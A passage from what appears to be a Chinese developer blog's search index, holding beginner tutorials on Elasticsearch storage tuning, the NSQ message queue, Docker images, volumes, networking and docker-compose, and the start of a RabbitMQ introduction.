Disable the features you do not need 不需要构建倒排索引的字段不建索引,index: false。 text 类型字段不需要评分的可以不写入 norms,norms: false (norms 是评分因子)。text 类型字段默认也会存储频率和位置信息,频率计算分数,位置用于短语查询,不需要短语查询可以不存储位置信息,index_options: freqs ,不关心评分可以设置 index_options: freqs 的同时设置 norms: false 。 Don’t use default dynamic string mappings 默认的动态字符串映射会将 string 字段同时索引为 text 和 keyword ,这造成了空间的浪费,明确使用其中一个即可。 Watch your shard size shard 分片越大,则存储数据越高效,缺点就是恢复需要的时间更久。 Disable _all 禁用 _all ,此字段索引了所有的字段, v6.0.0 版本已经将其移除。 Disable _source 禁用 _source ,此字段存储了原始的 json 文档数据,虽然禁用可以节省磁盘空间,但是我个人并不建议这么做,因为禁用后将无法获取到此字段的内容,如 update 和 reindex 等 API 都将无法使用。 Use best_compression 通过 index.codec 设置压缩方式为 best_compression 。 Force merge 每个 shard 分片有多个 segments,segment 越大存储数据越高效。可以通过 _forcemerge API 减少每个分片的 segments 数量,通过 max_num_segments = 1 即可设置每个分片一个 segment 。 Shrink index 可以通过 shrink API 减少 shard 分片的数量,可以与 _forcemerge API 一起使用。 Use the smallest numeric type that is sufficient 使用合适的数字类型,数字类型越小占用磁盘空间越少。 Use index sorting to colocate similar documents 默认情况下,文档按照添加到索引的顺序进行压缩,如果启用了 index sorting 则按照索引排序顺序进行压缩,对具有相似结构、字段和值的文档进行排序可以提高压缩效率。 Put fields in the same order in documents 压缩是将多个文档压缩成块,如果字段始终以相同的顺序出现,则更有可能在这些 _source 文档中找到更长的重复字符串,从而压缩效率更高。 其实从实际情况来看,磁盘的成本往往是比较低廉的,我们常常更关注的是搜索和索引性能的提升。了解优化相关的部分内容有助于我们更好的理解和使用 ES。 ","date":"2018-07-29","objectID":"/es-guide/:5:5","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Middleware"],"content":"消息队列 NSQ 入门指南","date":"2018-07-08","objectID":"/nsq/","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"一 NSQ 是什么?使用 go 语言开发的一款开源的消息队列,具有轻量级、高性能的特点。 ","date":"2018-07-08","objectID":"/nsq/:0:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"概述 NSQ 组件: 1、nsqd:接受、排队、传递消息的守护进程,消息队列中的核心。 2、nsqlookupd:管理拓扑信息,其实就是围绕 nsqd 的发现服务,因为其存储了 nsqd 节点的注册信息,所以通过它就可以查询到指定 topic 主题的 nsqd 节点。 3、nsqadmin:一套封装好的 WEB UI ,可以看到各种统计数据并进行管理操作。 4、utilities:封装好的一些简单的工具(实际开发中用的不多)。 如下图所示: 1、生产者 producer 将消息投递到指定的 nsqd 中指定的 topic 主题。 2、nsqd 可以有多个 topic 主题,一旦其接受到消息,将会把消息广播到所有与这个 topic 相连的 channel 队列中。 3、channel 队列接收到消息则会以负载均衡的方式随机的将消息传递到与其连接的所有 consumer 消费者中的某一个。 注意:生产者关注的是 topic,消费者关注的是 channel。消息是存在 channel 队列中的,其会一直保存消息直到有消费者将消息消费掉,同时 channel 队列一旦创建其本身也不会自动消失,另外消息默认是存在内存中的,一旦超过内存大小(可通过 –mem-queue-size 配置)则会被存储到磁盘上。 再看下图: 通过 nsqadmin 可以看到整个集群的统计信息并进行管理,多个 nsqd 节点组成集群并将其基本信息注册到 nsqlookupd 中,通过 nsqlookupd 可以寻址到具体的 nsqd 节点,而不论是消息的生产者还是消费者,其本质上都是与 nsqd 进行通信(如第一张图所示)。 ","date":"2018-07-08","objectID":"/nsq/:1:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"其它 1、默认情况下消息不会被持久化到磁盘,只有当超出内存限制时才会将部分消息写入磁盘,但只要设置 –mem-queue-size=0 就可以将所有消息都持久化到磁盘。 2、NSQ 保证消息至少被传递一次,但也有可能极端情况下会被传递多次,消费者需要额外注意这一点。 3、消息是无序的。 4、官方建议将 nsqd 与消息的生产者部署到一起,这种模式将消息流构建为消费问题而不是生产问题,这种模式更加简单但非强制。 5、nsqlookupd 并非一定要使用,但在集群模式下建议使用,官方建议每个数据中心部署至少三个 nsqlookupd 就可以应对成百上千的集群节点(每个nsqlookupd 中间是相互独立的,保证其高可用)。 6、topic 和 channel 没有内置的限制,但其会受限于宿主机的CPU和内存性能。 7、nsq 没有复杂的路由,没有 replication 副本备份。 总而言之,NSQ 高效轻量、简单、易于分布式扩展。另外有赞团队自己改造了一版 NSQ 并开源了出来( https://github.com/youzan/nsq ),视频:https://www.youtube.com/watch?v=GCOvuCKe5zA ,感兴趣的也可以了解下。 二 ","date":"2018-07-08","objectID":"/nsq/:2:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"信息流 任何一个消息队列的信息流都可以抽象为: 生产者 \u003e\u003e MQ \u003e\u003e 消费者 NSQ 也不例外,如下图所示: nsqd 是接受、排队、传递消息的守护进程,消息队列中的核心。 ","date":"2018-07-08","objectID":"/nsq/:3:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"producer » nsqd 生产者包装消息,将消息传递到 nsqd 中指定的 topic 。在 NSQ 中这一个步骤相当简单,通过 HTTP 接口就能完成: 发送消息必须指定 topic ,而 topic 的作用其实就是对消息进行逻辑上的分区。 接口 /pub 用来发送单条消息,其中的 defer 参数用来指定 NSQ 在接收到消息后延时多久再投递给消费者,例如订单规定时间内未支付则进行回收等场景就可以用到延时队列。接口 /mpub 用来一次发送多条消息。 相关配置 -max-msg-size : 单条消息的大小上限,默认 1048576 byte 即 1 M。 ","date":"2018-07-08","objectID":"/nsq/:3:1","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"nsqd: topic » channel 上面已经说过,topic 只是用来将消息进行逻辑划分,channel 才是真正存放消息的地方,而 nsqd 在接受到消息后,会将消息复制给所有与这个 topic 相连的 channel 并存放。 ","date":"2018-07-08","objectID":"/nsq/:3:2","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"nsqd » consumer 如上图所示,topic 的消息会被广播到所有与之相连的 channel ,但是同一个 channel 只会以负载均衡的方式把消息投递到与之相连的其中一个 consumer 消费者。 相关配置 max-in-flight : 一个 consumer 一次最多处理的消息数量,默认为一条。 ","date":"2018-07-08","objectID":"/nsq/:3:3","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"消息处理 在实际情况下,nsqd 与 consumer 之间的消息处理并没有那么简单。 先来看看详细的过程: 如上图所示,consumer 需要先连接到 nsqd,并且订阅指定的 topic 和 channel ,在一切准备就绪之后发送 RDY 状态表示可以接受消息,并指明一次可以处理的最大消息数量 max-in-flight 为 2 ,随后 nsqd 向 consumer 投递消息,consumer 消费者在接受到消息后进行业务处理,并且需要向 nsqd 响应 FIN(消息处理成功)或者 REQ( re-queue 重新排队),投递完成但未响应的这段时间内的消息状态为 in-flight 。 配置项 -max-rdy-count :每个 nsqd 最多可以接受的 RDY 即消费者的数量,超出范围则连接将被强制关闭,默认 2500 。 ","date":"2018-07-08","objectID":"/nsq/:4:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"REQ 对于 REQ 响应,nsq 会将其重新加入到队列中等待下一次再投递( re-queue ),客户端可以指定 requeue 的 delay 延时,即重新排队并延时一段时间之后再重新投递消息,延时的时间不得超过配置项 -max-req-timeout 。 ","date":"2018-07-08","objectID":"/nsq/:4:1","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"Timeout 每一条消息都必须在一定时间内向 nsq 做出响应,否则 nsq 会认为这条消息超时,然后 requeue 处理。 配置项 -msg-timeout :单条消息的超时时间,默认一分钟,即消息投递后一分钟内未收到响应,则 nsq 会将这条消息 requeue 处理。 配置值 -max-msg-timeout :nsqd 全局设置的最大超时时间,默认 15 分钟。 超时的判定时长将取决于以上两个配置的最小值。 ","date":"2018-07-08","objectID":"/nsq/:4:2","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"Touch 有时候 consumer 需要更长的时间来对消息进行处理,而不想被 nsq 判定超时然后 requeue ,这时候就可以主动向 nsq 响应 Touch ,表示消息是正常处理的,但是需要更长时间,nsq 接受到 Touch 响应后就会刷新这条消息的超时时间。需要注意的是,我们并不能一直 Touch 到永远,其仍受制于配置项 -max-msg-timeout ,超出最大时长了 Touch 也没用,nsq 仍然会判定为超时并 requeue 。 ","date":"2018-07-08","objectID":"/nsq/:4:3","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"Backoff 有时候 consumer 处理消息面临很大的压力,随时有崩溃的风险,这种情况下可以主动向 nsq 发送 RDY 0 实现 backoff ,换句话说就是消费端暂停接受等多消息,以减轻自身压力避免崩溃,等到有更多处理能力时再取消暂停状态慢慢接收更多消息。当然进入 backoff 然后慢慢恢复是一个需要动态调节的过程。 事实上加快消息的处理才是我们需要关注的重中之重。 ","date":"2018-07-08","objectID":"/nsq/:4:4","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"其它 ","date":"2018-07-08","objectID":"/nsq/:5:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"nsqlookupd nsqlookupd 提供服务发现的功能,用来寻址特定主题的 nsqd。如果客户端直接 nsqd ,那么就会出现某些 topic 的 nsqd 在某个地址,另一些 topic 的 nsqd 在另外的地址,试想当我们的 nsqd 集群数量变得越来庞大,topic 的种类也越来越多时,这种直连的方法是有多么的混乱,而 nsqlookupd 就是为了解决这个问题。 所有的 nsqd 都注册到 nsqlookupd 上,然后客户端只需要连接 nsqlookupd 就可以轻松寻址到所有主题。但是,要注意的是 nsqlookupd 只负责寻址,不对消息做任何处理,我们可以认为客户端向 nsqlookupd 寻址完成后,仍然是与 nsqd 直连再进行消息处理。 为了避免 nsqlookupd 的单点故障,部署多个即可。通常一个数据中心部署三个 nsqlookupd 就可以应对成百上千的 nsqd 集群。 ","date":"2018-07-08","objectID":"/nsq/:5:1","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"-mem-queue-size 配置项 -mem-queue-size:队列在内存中保留的消息数量,默认 10000 。一旦消息数量超过了这个阈值,那么超出的消息将被写入到磁盘中,当然你也可以设置为 0 ,这样所有的消息都将被写入到磁盘中,但是需要注意的是即使你这样做了也无法保证消息百分百不丢失,因为 in-flight 状态和 defer 延时状态下的消息仍然是在内存中,所以极端情况下仍旧会丢失。另外对于 clean shutdown 干净退出的情况 nsq 是保证了消息不丢失的,即使在内存中。 简而言之,我们应该放心大胆的使用更可能多的内存。 ","date":"2018-07-08","objectID":"/nsq/:5:2","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"SPOF NSQ 是一个分布式的设计,可以有效的避免 SPOF 单点故障。 如图所示,我们可以轻松的部署足够多的 nsqd 到多台机器上,并让消费者与之连接(这个图简化处理了,我们仍应该使用 nsqlookupd )。每一个 nsqd 之间是相互独立的,没有任何关联。这就是说如果三个 nsqd 具有相同的 topic 和 channel ,我们向它们发送同一条消息,本质上就是分别发送了三条消息,结果就是连接这三个 nsqd 的 consumer 将会收到三条消息。这样做显然有效的提高了可靠性,但是在消费端一定要做好重复消息的处理问题。 ","date":"2018-07-08","objectID":"/nsq/:5:3","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"其它 消息是无序的 消息可能会被传递多次 没有复杂的路由 没有自动化的 replication 副本 ","date":"2018-07-08","objectID":"/nsq/:5:4","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"结语 消息队列并不是大包大揽干掉所有事情,在实际应用中,我们完全可以与 mysql 和 redis 等等一起使用。 NSQ 不得不说是太精致了,水平扩展相当方便,消息传递也非常高效,强烈推荐。 ","date":"2018-07-08","objectID":"/nsq/:6:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Kubernetes"],"content":"Docker 入门教程","date":"2018-04-17","objectID":"/docker-guide/","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"一 程序明明在我本地跑得好好的,怎么部署上去就出问题了?如果要在同一台物理机上同时部署多个 node 版本并独立运行互不影响,这又该怎么做?如何更快速的将服务部署到多个物理机上? “Build once , run anywhere” ,既可以保证环境的一致性,同时又能更方便的将各个环境相互隔离,还能更快速的部署各种服务,这就是 docker 的能力。 ","date":"2018-04-17","objectID":"/docker-guide/:0:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"基本概念 一张图慢慢讲: 1、本地开发写好了 code ,首先我们需要通过 build 命令构建 image 镜像,而构建的规则呢,就需要写在这个 dockerfile 文件里。 2、image 镜像是什么?静态的、只读的文件(先不着急,有个基本印象,后面再慢慢讲)。如何更方便的区分不同的镜像呢,通过 tag 命令给镜像打上标签就行了。 3、image 镜像存在哪里?通过 push 命令推送到 repository 镜像仓库,每个仓库可以存放多个镜像。 4、registry 是啥?仓库服务器,所有 repository 仓库都必须依赖于一个 registry 才能提供镜像存储的服务。我们在自己的物理机上安装一个 registry ,这样可以构建自己私有的镜像仓库了。 5、镜像光存到仓库里可没用,还要能部署并运行起来。 6、首先通过 pull 命令将仓库里的镜像拉到服务器上,然后通过 run 命令即可将这个镜像构建成一个 container 容器,容器又是什么?是镜像的运行时,读取镜像里的各种配置文件并如同一个小而独立的服务器一样运行你的各种服务。到这里,你的一个服务就算是部署并运行起来了。 7、数据怎么办?通过 volume 数据卷可以将容器使用的数据挂在到物理机本地,而各个容器之间相互传递处理数据呢,统一通过另一个 volume container 数据卷容器提供数据的服务,数据卷容器也只是一个普通的容器。 8、image 镜像怎么导入导出到本地?通过 save 命令即可导出成压缩包到物理机本地磁盘上,通过 load 命令就可以导入成 docker 环境下的镜像。 9、container 容器的导入导出呢?通过 export 命令同样可以导出到物理机本地磁盘,但是与镜像导出不同的是,这样导出的只是一个容器的快照文件,这就是说它会丢弃所有的历史记录和元数据信息,只记录了当前容器的状态。导入则是 import 命令,但是只能导入为另一个 image 镜像,而不能直接就导入成容器,容器只是一个运行时。 二 ","date":"2018-04-17","objectID":"/docker-guide/:1:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"镜像 Docker 中的镜像到底是什么?它是一个可供执行的文件系统包,里面包含了运行一个应用程序所需要的代码、库、环境变量和配置文件等等所有内容。 镜像是分层的。它是由一个或多个文件系统叠加而成,最底层是 bootfs 即引导文件系统,我们几乎永远不会与这个东西有什么交互,而且当容器启动时 bootfs 会被卸载掉。第二层是 rootfs ,通常是一个操作系统,其包含了程序运行所需的最基本环境,也称之为基础镜像。第三、第四、第N层,是由我们自己指定的其它资源文件。 镜像层层叠加,向下引用依赖,而 docker 使用了联合加载技术同时加载多层文件系统,使我们可以一起看到所有的文件及其资源,仿佛其并没有被分层,而是一个文件系统一样。 镜像是只读的,也就意味着其无法被更改,这正是保证环境一致性的关键原因。 容器则是镜像的运行时,会在镜像最外层加载一层读写层,这样便能进行文件的读写,但其不会对下层镜像的内容进行修改,应用程序只有通过容器才能启动并对外提供服务。 ","date":"2018-04-17","objectID":"/docker-guide/:2:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"构建镜像 首先需要准备我们的项目代码: const express = require('express'); const app = express(); const PORT = 8888; app.get('/', async (req, res) =\u003e { res.end(` NODE_NEV : ${process.env.NODE_ENV} \\n Contanier port : ${PORT}`); }); app.listen(PORT); /* 构建镜像:docker build --build-arg NODE_ENV=develop -t docker-demo . 启动容器:docker run --name demo -it -p 9999:8888 docker-demo */ 编写 Dockerfile 文件: # 指定基础镜像 FROM node:8.11.1 # MAINTAINER 新版本已经被废弃,用来声明作者信息,使用 LABEL 代替 # LABEL 通过自定义键值对的形式声明此镜像的相关信息,声明后通过 docker inspect 可以看到 LABEL maintainer=\"rife\" LABEL version=\"1.0.0\" LABEL description=\"This is a test image.\" # WORKDIR 指定工作目录,若不存在则自动创建,其他指令均会以此作为路径。 WORKDIR /work/myapp/ # ADD \u003csrc\u003e \u003cdest\u003e # 将源文件资源添加到镜像的指定目录中,若是压缩文件会自动在镜像中解压,可以通过 url 指定远程的文件 ADD 'https://github.com/nodejscn/node-api-cn/blob/master/README.md' ./test/ # COPY \u003csrc\u003e \u003cdest\u003e # 同样是复制文件资源,但无法解压,无法通过 url 指定远程文件 # 示例:将本地的当前目录所有文件复制到镜像中 WORKDIR 指定的当前目录 COPY ./ ./ # RUN 构建镜像时执行的命令 RUN npm install # ARG 指定构建镜像时可传递的参数,与 ENV 配合使用 # 示例:通过 docker build --build-arg NODE_ENV=develop 可灵活指定环境变量 ARG NODE_ENV # ENV 设置容器运行的环境变量 ENV NODE_ENV=$NODE_ENV # EXPOSE 暴露容器端口,需要在启动时指定其与宿主机端口的映射 EXPOSE 8888 # CMD 容器启动后执行的命令,只执行最后声明的那条命令,会被 docker run 命令覆盖 CMD [\"npm\", \"start\"] # ENTRYPOINT 容器启动后执行的命令,只执行最后声明的那条命令,不会被覆盖掉 # 任何 docker run 设置的指令参数或 CMD 指令,都将作为参数追加到 ENTRYPOINT 指令的命令之后。 在 Dockerfile 中,我们指定了基础镜像、声明了镜像的基础信息,指定了镜像的工作目录,把项目文件添加到了镜像中,指定了环境变量,暴露了容器端口,指定了容器启动后执行的命令。 在复制文件时,我们可以通过 .dockerignore 指定忽略复制到镜像中的文件,用法与 .gitignore 类似。 读者可以仔细阅读上图 Dockerfile 中的注释。 输入指令: docker build --build-arg NODE_ENV=develop -t docker-demo . 通过 -t 指定了镜像的标签,–build-arg 指定了 Dockerfile 中的 ARG 声明的变量,也就是 ENV 环境变量,至此我们就成功的构建了自己的镜像。由于网络原因拉取镜像可能会很慢,读者可以使用 DaoCloud 提供的加速地址(其官网的加速器就是)。 输入命令: docker run --name demo -it -p 9999:8888 docker-demo 通过 –name 指定容器的别名,-p 指定宿主机与容器之间端口的映射,至此我们基于刚刚构建的镜像启动了一个容器,而容器就是镜像的运行时,最后我们在自己的宿主机上访问 localhost:9999 就能连接到 docker 容器内的 web 示例服务了。 镜像是只读的、分层的文件系统,容器是镜像的运行时。重点关注通过 Dockerfile 构建镜像。 三 现在有了 docker,如果要频繁的更改和测试程序时怎么办,每次都重新打一个新的镜像然后启动容器? 容器只是一个运行时,一旦被杀死,其内部的数据都会被清除,但是我们想要数据被持久化,又该怎么办? 不同的容器之间常常需要共享某些数据,这又该解决呢? ","date":"2018-04-17","objectID":"/docker-guide/:3:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"volume Volume 翻译为卷,因为基本上用于挂载数据,所以也常常直接称之为数据卷。 所谓的挂载数据卷,实际上就是把宿主机本地的目录文件映射到 docker 容器内部的目录下。也就是说实际的目录文件是存放在本地磁盘上的,docker 容器通过挂载的方式可以直接使用本地磁盘上的文件。 如上图所示: 1、Data Volume 数据卷是存放在本地磁盘上,所以数据是持久化的,即使容器被杀死也不会影响数据卷中的数据。 2、不同的容器挂载同一个数据卷就实现了数据的共享。 3、容器对数据卷中操作都是即时的,一个容器改变了数据,那么另一个容器就会即时看到这种改变。 总而言之,挂载数据卷其实就是间接的操作本地磁盘上的数据,所谓间接是因为容器操作的是其内部映射的目录,而不是宿主机本地目录。 ","date":"2018-04-17","objectID":"/docker-guide/:4:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"数据卷容器 如果有多个容器都需要挂载数据卷,难道需要每一个容器都挂载一遍到本地?当然不是。 如上图所示,这里引入了数据卷容器(图中的 Data Container ),其实就是一个普通的容器,我们只需要通过数据卷容器挂载( -v )一次数据卷,其他需要挂载的容器直接连接( –volumes-from )这个数据卷容器就行了,而再不需要知道实际的宿主机本地目录。 数据卷容器是否存在单点故障?也就是说数据卷容器挂了,其它的容器还能挂载并使用数据吗?答案是仍然能正常使用数据,因为数据卷容器本身只是一个数据卷挂载的配置传递的作用,只要其它容器挂载上就会一直有效,不会因为数据卷容器挂了而产生单点故障。 本节简单讲述了数据卷的相关概念,实际操作只需要通过 docker run 命令启动容器时使用 -v(挂载到本地目录)和 –volumes-from(连接到数据卷容器)参数即可。 四 场景:假设我们有一个 web 应用,需要显示总共连接的次数,同时我们使用另一个 redis 服务去记录这个数值,显然 web 是需要连接到 redis 上的,而在 docker 容器中,每个容器都默认有自己独立的虚拟网络,那么容器之间应该如何连接? ","date":"2018-04-17","objectID":"/docker-guide/:5:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"link 首先我们启动一个 redis 容器,并通过 –name 指定容器名也叫 redis : docker run --name redis redis 然后,启动 web 容器,通过 –link 指定连接的容器并指定这个连接的名称(注意以下指令都是在 docker run 后面添加的部分): --link redis:redis_connection 而我们的 web 程序中直接使用上面定义的连接名 redis_connetion 即可: const express = require('express'); const Redis = require('ioredis'); const redis = new Redis({ port: 6379, host: 'redis' // --net 自定义网络,使用别名 // host: 'redis_connection' // --link [container]:[alias] // host: 'localhost' // --net=container:[container-name] 使用指定容器的网络 }); const app = express(); const PORT = 8888; app.get('/', async (req, res) =\u003e { try { const r = await redis.incr('count'); res.end(` count: ${r} \\r\\n`); } catch (error) { console.log(error); } }); app.listen(PORT); 这样 web 容器便可以连接上 redis 容器了,如下图所示: 使用 link 方法,其会在容器启动时(容器每次启动都会默认配置不同的虚拟网络)找到连接的目标容器并在本容器内部设置环境变量并修改 /etc/hosts 文件,这也是我们可以直接使用连接别名而不用指定具体 IP 地址的原因。 但是,不建议使用这种方式,同时这种方式也将会在未来被移除。 ","date":"2018-04-17","objectID":"/docker-guide/:6:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"net 1、net 方式一,如下图所示: 我们先将 redis 容器的端口暴露到本地宿主机,然后在 web 中指定本地宿主机具体的 IP 地址,这样也可以实现连接,但是需要注意的是,在 web 中不能直接使用 localhost ,因为前面已经提到了,每个容器都有自己独立的虚拟网络,使用 localhost 将会指向的是这个容器内部,而不是宿主机。 这种方式,我们也可以看到,很麻烦,一方面 redis 需要暴露端口,另一方面还必须知道宿主机具体的 IP 地址。 2、net 方式二,如下图所示: 这里与前一种方式不同的是,我们直接通过 –net host 指定容器直接使用宿主机网络,这样在 web 中就可以直接通过 localhost 连接到 redis 了,不用知道宿主机具体的 IP 地址,对比上一种方式看似有一点小的改进。 但是这种方式的问题在于,对于 MacOS 系统无法使用,因为在 MacOS 上 Docker 仍然是跑在一层虚拟机中的,这种方式目前还无法穿透这层虚拟机直接将 localhost 映射到宿主机本地,同时,直接使用宿主机网络,容器其实会全部暴露出来,存在安全隐患,因此也不建议使用这种方式。 3、net 方式三,如下图所示: 这里通过 –net container 的方式直接指定 web 使用与 redis 相同的网络,这样既避免了无谓的端口暴露,同时又能保持容器与宿主机之间的隔离,这种方式是建议使用的。 但是存在需要注意的地方,那就是 –net container 指定容器网络与 -p 暴露端口不能同时使用,换句话说,本来我们的 web 容器是需要 -p 暴露端口到宿主机,这样我们才能在本地访问到 web 服务,但是因为我们已经使用了 –net container 指定其使用与 redis 相同的网络,所以不能再使用 -p 了,那怎么办?可以在另一个 redis 容器上使用 -p ,将本来应该由 web 直接暴露的端口间接的由 redis 暴露,毕竟此时我们的 web 和 redis 容器都已经使用了同一个网络,所以这样做也是没问题的,但还是有点别扭的。 ","date":"2018-04-17","objectID":"/docker-guide/:7:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"自定义网络 官方在宣告 link 方式将会被移除的同时,推荐的替代方式就是自定义网络。 创建一个简单的自定义网络: docker network create -d bridge my-network 将 web 和 redis 容器连接到同一个自定义的网络中,并直接在 web 中的 redis host 指向 redis 容器的别名,即可完成连接,如下图所示: 对于自定义网络,我们不仅能够在容器启动时通过 –net 直接指定,还能够在容器已经启动完成后通过: docker network connect [network-name] [container] 后续添加进去,这也就意味着我们可以方便快速的完成容器网络的切换与迁移。 通过自定义网络,我们还能够定义更加复杂的网络规则,比如网关、子网、IP 地址范围等等,当然更多的细节还请查阅官方文档。 五 假设我们现在需要启动多个容器,这些容器又需要进行不同的数据挂载,容器之间也需要相互连接,显然,如果按照传统的方法通过 docker run 指令启动他们将会是非法麻烦的,这里我们就需要用到 docker-compose 进行容器编排。 ","date":"2018-04-17","objectID":"/docker-guide/:8:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"docker-compose 这里我们使用一个简单的示例:一个 web 服务,一个 redis 数据库,web 服务挂载本地的数据方便调试,同时也需要连接上 redis 进行操作。 首先在进行编排时,我们将一个大的项目称之为 project ,默认名称为项目文件夹的名称,可以通过设置环境变量 COMPOSE_PROJECT_NAME 改变。在 project 之下,会有多个 service 服务,这是编排的基本单位,比如示例中的 web 和 redis 就是两个不同的 service 。 docker-compose.yml: version: '3' # 指定 compose 的版本 services: web: # 定义 service # build: # 重新构建镜像 # context: . # 构建镜像的上下文(本地相对路径) # dockerfile: Dockerfile # 指定 dockerfile 文件 # args: # 构建镜像时使用的环境变量 # - NODE_ENV=develop container_name: web-container # 容器名称 image: docker-demo # 使用已存在的镜像 ports: # 端口映射 - \"9999:8888\" networks: # 网络 - my-network depends_on: # service 之间的依赖 - redis volumes: # 挂载数据 - \"./:/work/myapp/\" restart: always # 重启设置 env_file: # 环境变量配置文件, key=value - ./docker.env environment: # 设置环境变量, 会覆盖 env 中相同的环境变量 NODE_ENV: abc command: npm run test # 容器启动后执行的指令 redis: container_name: redis-container image: redis:latest networks: - my-network networks: # 自定义网络 my-network: 如上所示,首先需要指定 compose 的版本,不同版本之间存在一定的差异,具体的需要查阅官方文档。 然后,在 services 这个 top-level 下面指明各个具体的 service 比如 web 和 redis ,在具体的 service 下面再进行详细的配置: build:通过 dockerfile 重新构建镜像 container_name:指定容器的名称 image:直接使用已存在的镜像 ports:设置端口映射 networks:设置容器所在的网络 depends_on:设置依赖关系 volumes:设置数据挂载 restart:设置重启 env_file:设置环境变量的集中配置文件 environment:同样是设置环境变量 command:容器启动后执行的指令 在具体 service 下指定的 networks 必须对应存在于 top-level 的 networks 中,名称可以随意取,所有具有相同 networks 的 service 也就可以进行相互连接,这样就是一个定义网络。 通过 depends_on 设置的依赖关系会决定容器启动的先后顺序,在示例中,由于我们指定了 web 是依赖于 redis 的,所以会启动 redis 之后再启动 web ,但是这里的判断标准是容器运行了就继续启动下一个,如果你想更好的控制启动顺序,可以使用 wait-for-it 或者 dockerize 等官方推荐的第三方开源工具。 至于 volumes ,你可以使用传统挂载设置(示例中就是的),也可以通过自命名的方法,但是如果使用了自命名,其与 networks 类似,必须对应存在于 top-level 的 volumes 之中。 对于环境变量,既可以通过 environment 单独设置,也可以将所有的环境变量集中配置到 env 文件中,然后通过 env_file 引用。 以上就是一些简单且常用的配置。配置完成之后,通过: docker-compose up 就可以一次启动所有容器了,启动完成后同样可以通过 compose 的其他指令诸如:pause、unpause、start、stop、restart、kill、down 等等进行其他操作。 写到这里,其实我们已经完成了从构建镜像到容器编排整个流程,这里先告一段落。但是目前我们所基于的却一直是单主机环境,而对于多主机等更复杂的环境下如何快速方便的满足生产上的各种需求,我们就不得不提到 swarm 和 kubernetes(简称 k8s ),从目前来看,k8s 已然成为了主流,后续有机会将会围绕 k8s 写一写系列文章。 ","date":"2018-04-17","objectID":"/docker-guide/:9:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Middleware"],"content":"RabbitMQ 入门教程及示例","date":"2018-02-27","objectID":"/rabbitmq/","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"一 消息中间件 MQ(也称消息队列)的基本功能是传递和转发消息,其最重要的作用是能够解耦业务及系统架构,可以说是一个系统发展壮大到一定阶段绕不开的东西。 而 RabbitMQ 是对 AMQP(高级消息队列协议)的实现,成熟可靠并且开源,本系列文章将会讲述如何在 node 中入门这一利器。 ","date":"2018-02-27","objectID":"/rabbitmq/:1:0","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"RabbitMQ 概述 先来简单的了解一下 RabbitMQ 相关的基本概念: Producer :生产者,生成消息并把消息发送给 RabbitMQ 。 Consumer :消费者,从 RabbitMQ 中接收消息。 Exchange :交换器,具有路由的作用,将生产者传递的消息根据不同的路由规则传递到对应的队列中。交换器具有四种不同的类型,每种类型对应不同的路由规则。 Queue 